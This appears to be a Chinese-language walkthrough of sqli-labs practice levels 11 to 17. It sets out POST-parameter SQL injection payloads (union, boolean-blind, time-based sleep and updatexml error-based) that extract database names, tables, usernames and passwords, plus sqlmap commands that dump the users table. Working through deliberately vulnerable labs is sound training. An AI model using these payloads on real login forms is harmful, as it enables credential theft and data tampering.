目录
Less-11
POST ‘单引号注入
判断显示位
uname=&passwd=' union select 1,2 -- - 确认显示位为1和2
数据库名和数据库用户
uname=&passwd=' union select user(),database()-- - security和root@localhost
表名
uname=&passwd=' union select 1,group_concat(table_name) from information_schema.tables where table_schema="security" -- - 确认表名emails,referers,uagents,users
users表字段名
uname=&passwd=' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="security"-- - 确认字段名id,username,password
爆字段
uname=&passwd=' union select group_concat(username),group_concat(password) from users -- - 得到账号和密码
less-12
POST双引号加)注入判断
uname=&passwd=" and 1=1 -- - 报错
uname=&passwd=") and 1=1 -- - 正常
判断显示位
uname=&passwd=") union select 1,2 -- -
余下操作与less-1同理
Less-13
单引号双报错注入
uname=admin&passwd=admin') order by 2-- - 判断查询位为2位
判断数据库名长度
uname=admin&passwd=admin') and length(database())>8 -- - 报错
uname=admin&passwd=admin') and length(database())>7 -- - 正常 数据库长度为8
判断数据库名首字母ASCII码值
uname=admin&passwd=admin') and ascii(left(database(),1))>114 -- - 正常
uname=admin&passwd=admin') and ascii(left(database(),1))>115 -- - 报错 说明首字母为s
判断数据库第二个字母
uname=admin&passwd=admin') and ascii(substr(database(),2,1))>101 -- - 报错
uname=admin&passwd=admin') and ascii(substr(database(),2,1))>100 -- - 说明第二个字母为e
依次算出数据库名为security
判断数据表数量
uname=admin&passwd=admin') and (select count(table_name) from information_schema.tables where table_schema="security")=4 -- - 数量为4
判断第一个表首字母
uname=admin&passwd=admin') and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1))>100 -- - 正常
uname=admin&passwd=admin') and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1))>101 -- - 报错 首字母为e
判断第一个表第二个字母
uname=admin&passwd=admin') and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),2,1))>108 -- - 正常
uname=admin&passwd=admin') and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),2,1))>109 -- - 报错,第二个字母为m
判断第四个表第一个字母
uname=admin&passwd=admin') and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))>116 -- - 正常
uname=admin&passwd=admin') and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))>117 -- - 报错,第一个字母为u
判断users表中有几个字段
uname=admin&passwd=admin') and (select count(column_name) from information_schema.columns where table_schema="security" and table_name="users" )=3 -- - 数量为3
判断第一个字段的首字母
uname=admin&passwd=admin') and ascii(substr((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 0,1),1,1))>104 -- - 正常
uname=admin&passwd=admin') and ascii(substr((select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 0,1),1,1))>105 -- - 报错 第一个字母为i
得出id,username,password字段
判断username字段第一个值的第一个字母
uname=admin&passwd=admin') and ascii(substr((select username from users limit 0,1),1,1))>67 -- - 正常
uname=admin&passwd=admin') and ascii(substr((select username from users limit 0,1),1,1))>68 -- - 报错 说明首字母为D
判断用户名Dumb的密码
uname=admin&passwd=admin') and ascii(substr((select password from users where username="dumb"),1,1))>68 -- - 报错
uname=admin&passwd=admin') and ascii(substr((select password from users where username="dumb"),1,1))>68 -- - 正常 说明首字母为D
至此账号密码都有了,使用脚本去跑
抓包将post请求体和数据保存为123.txt,并使用sqlmap去跑
sqlmap -r 123.txt --dump -T users -D security
Less-14
与13类似,将post请求头和请求头保存至文本中,使用sqlmap去跑
sqlmap -r 123.txt --dump -T users -D security --level 5 --risk 3
Less-15
单引号盲注判断
uname=admin&passwd=admin' -- - 正常
uname=admin&passwd=admin“ -- - 异常
判断数据库名长度
uname=admin&passwd=admin' and length(database())>8 and sleep(3)-- - 不停顿
uname=admin&passwd=admin' and length(database())>7 and sleep(3)-- - 停顿3秒,长度为8
判断数据库名首字母
uname=admin&passwd=admin' and ascii(substr((database()),1,1))=115 and sleep(3)-- - 首字母为s
剩下操作与13类似
使用sqlmap跑出结果
Less-16
双引号加)判断
uname=admin&passwd=admin") and sleep(3) -- - 睡眠了3秒
剩下的操作与15一致,同样保存post数据到txt文件中使用sqlmap运行
sqlmap -r 123.txt --dump -T users -D security --level 5
Less-17
单引号update型注入
uname=admin&passwd=admin' where 1=1 and sleep(2) -- - 睡眠2秒,该操作将所有密码都给设置成了admin
延时注入
uname=admin&passwd=123' and length(database())=8 and sleep(2) -- - 延时26秒,因为数据库中有13条数据
余下操作与上面一致,因为延时注入这种方法会将数据给改写,所以尝试报错注入
uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- -得到数据库名security
查询表
uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e),1) -- - 得到数据表
查询列名
uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="security"),0x7e),1) -- - 得到字段名
查询其他表的数据
uname=admin&passwd=123' and updatexml(1,concat(0x7e,(select group_concat(email_id) from security.emails),0x7e),1) -- -